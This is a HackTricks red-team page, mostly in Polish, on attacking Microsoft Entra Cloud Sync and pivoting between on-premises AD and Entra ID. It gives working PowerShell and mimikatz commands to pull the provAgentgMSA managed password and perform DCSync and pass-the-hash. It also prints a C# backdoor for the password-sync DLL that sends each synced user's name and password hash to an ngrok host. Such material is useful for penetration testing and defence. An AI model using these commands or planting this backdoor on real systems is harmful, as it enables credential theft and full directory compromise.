Az - Cloud Sync

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Cloud Sync to w zasadzie nowy sposób Azure na synchronizację użytkowników z AD do Entra ID.

Z dokumentacji: Microsoft Entra Cloud Sync jest nową ofertą Microsoftu zaprojektowaną, aby spełnić i zrealizować Twoje hybrydowe cele tożsamościowe w zakresie synchronizacji użytkowników, grup i kontaktów do Microsoft Entra ID. Osiąga to poprzez użycie the Microsoft Entra cloud provisioning agent zamiast aplikacji Microsoft Entra Connect. Jednak może być używany obok Microsoft Entra Connect Sync.

Generowane principale

Aby to działało, pewne podmioty (principals) są tworzone zarówno w Entra ID, jak i w katalogu on-premises:

  • W Entra ID tworzony jest użytkownik On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) z rolą Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32).

Warning

Ta rola kiedyś miała wiele uprzywilejowanych uprawnień i można było ją użyć do escalate privileges even to global admin. Jednak Microsoft postanowił usunąć wszystkie uprawnienia tej roli i przypisać jej jedynie nowe microsoft.directory/onPremisesSynchronization/standard/read, które w praktyce nie pozwala wykonywać uprzywilejowanych akcji (np. modyfikacji hasła czy atrybutów użytkownika albo dodania nowego credential do SP).

  • W Entra ID tworzona jest także grupa AAD DC Administrators bez członków i właścicieli. Grupa ta jest przydatna jeśli używane są Microsoft Entra Domain Services.

  • W AD tworzony jest albo Service Account provAgentgMSA z SamAccountName w formacie pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), albo konto customowe z tymi uprawnieniami jest wymagane. Zwykle tworzony jest domyślny.

Warning

Między innymi uprawnieniami konto serwisowe provAgentgMSA ma uprawnienia DCSync, pozwalając anyone that compromises it to compromise the whole directory. Po więcej informacji o DCSync zobacz to.

Note

Domyślnie użytkownicy znanych uprzywilejowanych grup, jak Domain Admins, z atrybutem adminCount ustawionym na 1 nie są synchronizowani z Entra ID ze względów bezpieczeństwa. Jednak inni użytkownicy będący częścią uprzywilejowanych grup bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio mogą być synchronizowani.

Password Sychronization

Sekcja jest bardzo podobna do tej z:

Az - Connect Sync

  • Password hash synchronization może być włączona, dzięki czemu użytkownicy będą mogli login into Entra ID using their passwords from AD. Dodatkowo, gdy hasło jest zmieniane w AD, zostanie zaktualizowane w Entra ID.
  • Password writeback również może być włączony, pozwalając użytkownikom modyfikować hasło w Entra ID, automatycznie synchronizując ich hasło z domeną on-premises. Jednak zgodnie z obecną dokumentacją, do tego potrzeba użyć Connect Agent, więc spójrz na sekcję Az Connect Sync po więcej informacji.
  • Groups writeback: Ta funkcja pozwala na synchronizację członkostw w grupach z Entra ID z powrotem do lokalnego AD. Oznacza to, że jeśli użytkownik zostanie dodany do grupy w Entra ID, zostanie również dodany do odpowiadającej grupy w AD.

Pivoting

AD –> Entra ID

  • Jeśli użytkownicy AD są synchronizowani z AD do Entra ID, pivot z AD do Entra ID jest prosty — wystarczy compromise some user’s password or change some user’s password or create a new user and wait until it’s synced into the Entra ID directory (usually only a few mins).

Możesz na przykład:

  • Compromise the provAgentgMSA account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
  • Po prostu utworzyć nowego użytkownika w AD, poczekać aż zostanie zsynchronizowany do Entra ID i użyć go do logowania się do Entra ID.
  • Zmodyfikować hasło jakiegoś użytkownika w AD, poczekać aż zostanie zsynchronizowane do Entra ID i użyć go do logowania się do Entra ID.

To compromise the provAgentgMSA credentials:

# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Teraz możesz użyć hash gMSA, aby przeprowadzić atak Pass-the-Hash przeciwko Entra ID przy użyciu konta provAgentgMSA i utrzymać persistence, co umożliwi wykonywanie ataków DCSync przeciwko AD.

For more information about how to compromise an Active Directory check:

Active Directory Methodology - HackTricks

Note

Należy pamiętać, że nie ma sposobu, by przypisać role Azure lub EntraID zsynchronizowanym użytkownikom na podstawie ich atrybutów, np. w konfiguracjach Cloud Sync. Jednak aby automatycznie nadawać uprawnienia zsynchronizowanym użytkownikom, niektórym Entra ID groups from AD można przyznać uprawnienia, dzięki czemu zsynchronizowani użytkownicy w tych grupach również je otrzymają, lub dynamic groups might be used, więc zawsze sprawdzaj reguły dynamiczne i potencjalne sposoby ich nadużycia:

Az - Dynamic Groups Privesc

Jeśli chodzi o persistence, ten wpis na blogu sugeruje, że możliwe jest użycie dnSpy do backdoora dll Microsoft.Online.Passwordsynchronisation.dll znajdującej się w C:\Program Files\Microsoft Azure AD Sync\Bin, która jest używana przez Cloud Sync agent do password synchronization, powodując exfiltrate password hashes użytkowników synchronizowanych do zdalnego serwera. Hashe są generowane wewnątrz klasy PasswordHashGenerator, a wpis sugeruje dodanie pewnego kodu tak, aby klasa wyglądała następująco (zwróć uwagę na use System.Net i użycie WebClient do exfiltrate the password hashes):

using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

Entra ID –> AD

  • Jeśli włączony jest Password Writeback, możesz zmodyfikować hasło niektórych użytkowników z Entra ID i, jeśli masz dostęp do sieci AD, połączyć się, używając tych poświadczeń. For more info check the Az Connect Sync section section for more information as the password writeback is configured using that agent.

  • W obecnym stanie Cloud Sync również pozwala na “Microsoft Entra ID to AD”, ale po dłuższym czasie stwierdziłem, że NIE POTRAFI synchronizować użytkowników EntraID do AD i że może synchronizować tylko użytkowników z EntraID, którzy byli synchronizowani z hash’em hasła i pochodzą z domeny należącej do tego samego lasu domen, co domena, z którą synchronizujemy, jak można przeczytać w https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
  • The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.

Więc powierzchnia ataku (i użyteczność) tej usługi jest znacznie ograniczona, ponieważ atakujący musiałby przejąć początkowe AD, z którego użytkownicy są synchronizowani, aby przejąć użytkownika w innej domenie (a obie muszą najwyraźniej należeć do tego samego lasu domen).

Enumeration

# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks